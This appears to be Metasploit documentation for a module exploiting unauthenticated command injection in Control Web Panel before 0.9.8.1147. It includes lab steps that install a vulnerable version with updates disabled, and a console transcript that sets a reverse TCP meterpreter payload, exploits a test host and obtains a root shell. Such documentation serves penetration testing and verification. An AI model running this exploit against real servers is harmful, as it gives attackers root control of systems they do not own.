## Vulnerable Application

Control Web Panel versions < 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful
exploitation results in code execution as the root user. The results of the command are not contained
within the HTTP response and the request will block while the command is running.

## Verification Steps
Example steps in this format (is also in the PR):

1. Start with a fresh instance of CentOS 7 x64 and run the following commands, modified from the original:
   1. `yum -y install wget`
   2. `yum -y update`
   3. reboot
   4. `cd /usr/local/src`
   5. `wget https://centos-webpanel.com/cwp-el7-latest`
   6. `sed -i 's/0\.9\.8\.[0-9]\+/0.9.8.1146/g' cwp-el7-latest`
   7. `sed -i 's/^\(sh \/scripts\/update_cwp\)/# \1/g' cwp-el7-latest`
   8. `sh cwp-el7-latest`
   9. `sed -i '1i exit 0' /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp`
2. Start Metasploit
3. Run: `control_web_panel_login_cmd_exec`
4. Set RHOST and LHOST
5. Run the exploit, see that a session is opened

Check the version with `grep webpanel_version /usr/local/cwpsrv/htdocs/resources/admin/include/version.php`

## Options

## Scenarios

### CWP Version 0.9.8.1146 on CentOS 7

```
msf6 > use exploit/linux/http/control_web_panel_login_cmd_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set RHOSTS 192.168.159.9
RHOSTS => 192.168.159.9
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > check
[*] 192.168.159.9:2031 - The target appears to be vulnerable. Successfully tested command injection.
msf6 exploit(linux/http/control_web_panel_login_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (24380 bytes) to 192.168.159.9
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.9:36154) at 2023-01-19 16:05:42 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022
Architecture : x64
Meterpreter  : python/linux
meterpreter > 
```
